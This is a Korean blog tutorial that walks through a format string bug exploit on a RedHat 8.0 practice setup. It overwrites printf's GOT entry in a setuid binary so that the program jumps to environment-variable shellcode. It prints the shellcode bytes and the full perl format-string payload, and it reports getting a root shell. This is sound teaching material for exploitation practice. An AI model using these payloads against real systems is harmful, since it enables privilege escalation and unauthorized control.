System/Linux2012. 5. 22. 21:26

이번에는 FSB(Format String Bug)로 .dtors가 아닌 GOT영역을 덮어서 공격해보도록 하겠습니다.

 

PLT(Procedure Linkage Table), GOT(Global Offset Table)

포맷 스트링 버그 - FSB (Format String Bug) 기본 연습하기

GOT나 포맷 스트링 버그에 대해서 잘 모른다면 먼저 위의 글을 읽어 보면 좋을 것 같습니다 ~

 

그럼 GOT와 포맷 스트링 버그에 대해서 안다고 생각 하고 GOT Overwrite를 해보겠습니다.

 


 

실습 환경RedHat 8.0 입니다.

 

위의 공격 프로그램 attackme는 setuid가 걸려 있으며 printf(buf)에 의해 포맷스트링 버그가 존재합니다.

 

공격 방식은 printf(buf)를 이용해 printf의 GOT를 쉘 코드 주소로 Overwrite해서 다음 printf호출시 printf("hello")대신에 쉘 코드가 실행 되도록 하는 것입니다.

 

그럼 필요한 것은

1. printf의 GOT 주소 (dest)

2. 쉘 코드를 넣은 환경 변수의 주소 (src) 가 되겠습니다.

 

1. 그럼 printf의 GOT 주소를 구해보겠습니다.

disass main에서 printf를 call하는 부분을 보면 0x804828c인 것을 알 수 있습니다. (이 것은 plt 주소가 되겠죠)

plt를 살펴보면 got주소는 0x80494f8이라는 것을 알 수 있습니다.

 

 

2. 이제 환경 변수에 쉘 코드를 넣고 그 주소를 구하면 됩니다.

환경 변수에 넣을 쉘 코드는 : \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80
입니다. (setreuid(geteuid(), getreuid()), exit(0) 까지 포함시킨 쉘 코드입니다.)

 

 아래와 같이 EGG에 쉘 코드를 넣었 습니다.

env는 getenv()로 환경 변수 주소를 구하는 프로그램 입니다.

 

쉘 코드가 삽입된 환경 변수 주소는 0xbffffc5d 네요.

 

 

printf의 GOT 주소 (dest) : 0x80494f8

쉘 코드를 넣은 환경 변수의 주소 (src) : 0xbffffc5d

 

그럼 0x80494f8 부분을 포맷 스트링 버그를 이용해서 0xbffffc5d 로 덮어 씌우면 되는 것입니다.

이건 포맷 스트링 버그 - FSB (Format String Bug) 기본 연습하기 만 봐도 알 수 있습니다.

 

공격 코드 : `perl -e 'print "aaaa\xf8\x94\x04\x08aaaa\xfa\x94\x04\x08%8x%8x%8x%64565c%hn%50082c%hn"'` 가 되네요

 

위의 코드로 공격해보면

쉘이 뜹니다~~

 

newgrp로 gid도 root바꿔줬습니다.

 

.dtors를 덮을 때는 프로그램이 종료될때 쉘 코드가 실행되고, 위에서는 printf의 GOT를 덮었으니 2번째 printf를 실행할 때 쉘 코드가 실행됩니다.

 

 

 

Posted by bbolmin

댓글을 달아 주세요